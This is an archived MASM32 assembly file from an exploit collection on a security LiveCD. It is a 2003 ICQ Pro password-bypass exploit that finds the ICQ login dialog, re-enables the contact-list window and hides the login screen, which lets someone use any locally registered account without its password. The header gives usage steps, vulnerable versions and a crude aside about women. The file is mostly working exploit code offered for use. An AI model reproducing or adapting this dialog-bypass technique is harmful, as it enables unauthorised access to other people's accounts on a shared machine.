home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / icq / ca1-icq.asm < prev    next >
Assembly Source File  |  2005-02-12  |  2KB  |  65 lines

  1. ;         CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE      BOF
  2. ; -------------------------------------------------------------------------
  3. ;
  4. ;  07/02/2003 - ca1-icq.asm
  5. ;  ICQ Password Bypass exploit.
  6. ;  written by Cau Moura Prado (aka ca1)
  7. ;  mouraprado@infoguerra.com.br - ICQ 373313
  8. ;
  9. ;  This exploit allows you to login to ICQ server using any account registered *locally*
  10. ;  no matter the 'save password' option is checked or not. High level security is also bypassed.
  11. ;  All you have to do is run the exploit and set status property using your mouse when the flower
  12. ;  is yellow. If you accidentally set status to offline then you will need to restart ICQ and run
  13. ;  the exploit again. Greets to: Alex Demchenko(aka Coban), my cousin Rhenan for testing the exploit
  14. ;  on his machine and that tiny Israeli company for starting the whole thing. Oh sure.. hehehe
  15. ;  I can't forget...  many kisses to those 3 chicks from my building for being so hot!! ;)
  16. ;
  17. ;
  18. ;        uh-oh!
  19. ;         ___
  20. ;      __/   \__
  21. ;     /  \___/  \        Vulnerable:
  22. ;     \__/+ +\__/          ICQ Pro 2003a Build #3800
  23. ;     /   ~~~   \
  24. ;     \__/   \__/        Not Vulnerable:
  25. ;        \___/             ICQ Lite alpha Build 1211
  26. ;                          ICQ 2001b and ICQ 2002a
  27. ;    tHe Flaw Power        All other versions were not tested.
  28. ;                            coded with masm32
  29. ; _______________________________________________________________________________exploit born in .br
  30.  
  31. .386
  32. .model flat, stdcall
  33. option casemap:none
  34. include \masm32\include\user32.inc
  35. include \masm32\include\kernel32.inc
  36. includelib \masm32\lib\user32.lib
  37. includelib \masm32\lib\kernel32.lib
  38. .data
  39. szTextHigh byte 'Password Verification', 0
  40. szTextLow byte 'Login to server', 0
  41. szClassName byte '#32770', 0
  42. .data?
  43. hWndLogin dword ?
  44. .code
  45. _entrypoint:
  46.  invoke FindWindow, addr szClassName, addr szTextHigh
  47.  mov hWndLogin, eax
  48.  .if hWndLogin == 0
  49.    invoke FindWindow, addr szClassName, addr szTextLow
  50.    mov hWndLogin, eax
  51.  .endif
  52.  invoke GetParent, hWndLogin
  53.  invoke EnableWindow, eax, 1      ;Enable ICQ contact
  54. list
  55.  invoke ShowWindow, hWndLogin, 0  ;get rid of Login
  56. screen (don't kill this window)
  57.  invoke ExitProcess, 0            ;uhuu.. cya! i gotta
  58. sleep!
  59. end _entrypoint
  60.  
  61. ;         CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE      EOF
  62. ; -------------------------------------------------------------------------
  63.